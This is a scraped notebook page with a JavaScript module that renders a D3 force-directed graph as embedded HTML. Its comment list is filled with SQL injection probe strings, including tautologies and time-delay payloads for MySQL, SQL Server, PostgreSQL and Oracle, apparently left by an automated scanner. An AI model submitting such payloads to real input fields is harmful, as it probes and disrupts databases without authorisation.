Would you like to clone this notebook?
When you clone a notebook you are able to make changes without affecting the original notebook.
var R = require("ramda")
module.exports = function(nodes, links, options = { })
{
options.width = R.has("width", options) ? +options.width : 500;
options.height = R.has("height", options) ? +options.height : 300;
var JSONObject = { graph: { nodes, links }, width: options.width, height: options.height };
return "<center>" +
"<style>.node { stroke: #fff; stroke-width: 1.5px; }" +
".link { stroke: #999; stroke-opacity: .6; }" +
"</style>" +
"<svg width = " +
options.width + " height = " + options.height + " ></svg>" +
"<script src='https://cdnjs.cloudflare.com/ajax/libs/d3/3.5.5/d3.min.js'></script>" +
"<script>(" + toHTMLD3Graph + ")(" + JSON.stringify(JSONObject)+ ")</script>";
}
module.exports([{ "group":0, "name": 0}, { "group":0, "name": 1}],[{ source:0, target: 1, value:0.9}])
function toHTMLD3Graph(JSONObject)
{
width = JSONObject.width;
height = JSONObject.height;
graph = JSONObject.graph;
svg = d3.select("svg")
var color = d3.scale.category20();
var force = d3.layout.force()
.charge(-120)
.linkDistance(30)
.size([width, height]);
force
.nodes(graph.nodes)
.links(graph.links)
.start();
var link = svg.selectAll(".link")
.data(graph.links)
.enter().append("line")
.attr("class", "link")
.style("stroke-width", function(d) { return Math.sqrt(d.value); });
var node = svg.selectAll(".node")
.data(graph.nodes)
.enter().append("circle")
.attr("class", "node")
.attr("r", 5)
.style("fill", function(d) { return color(d.group); })
.call(force.drag);
node.append("title")
.text(function(d) { return d.name; });
force.on("tick", function() {
link.attr("x1", function(d) { return d.source.x; })
.attr("y1", function(d) { return d.source.y; })
.attr("x2", function(d) { return d.target.x; })
.attr("y2", function(d) { return d.target.y; });
node.attr("cx", function(d) { return d.x; })
.attr("cy", function(d) { return d.y; });
});
}
25 comments
- posted a month ago by1
- posted a month ago by1
- posted a month ago by-1 OR 2+829-829-1=0+0+0+1 --
- posted a month ago by-1 OR 2+541-541-1=0+0+0+1
- posted a month ago by-1' OR 2+351-351-1=0+0+0+1 --
- posted a month ago by-1' OR 2+850-850-1=0+0+0+1 or 'ydcBooZF'='
- posted a month ago by-1" OR 2+694-694-1=0+0+0+1 --
- posted a month ago byif(now()=sysdate(),sleep(15),0)
- posted a month ago by0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
- posted a month ago by0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
- posted a month ago by(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- posted a month ago by-1; waitfor delay '0:0:15' --
- posted a month ago by-1); waitfor delay '0:0:15' --
- posted a month ago by1 waitfor delay '0:0:15' --
- posted a month ago bywpW9JhxH'; waitfor delay '0:0:15' --
- posted a month ago by-5 OR 148=(SELECT 148 FROM PG_SLEEP(15))--
- posted a month ago by-5) OR 170=(SELECT 170 FROM PG_SLEEP(15))--
- posted a month ago by-1)) OR 761=(SELECT 761 FROM PG_SLEEP(15))--
- posted a month ago by6fsu7ckt' OR 732=(SELECT 732 FROM PG_SLEEP(15))--
- posted a month ago by6pWA9E2V') OR 237=(SELECT 237 FROM PG_SLEEP(15))--
- posted a month ago by5AZs9tNG')) OR 721=(SELECT 721 FROM PG_SLEEP(15))--
- posted a month ago by1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
- posted a month ago by1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
- posted a month ago by1'"
- posted a month ago by@@jbsnC
sign in to comment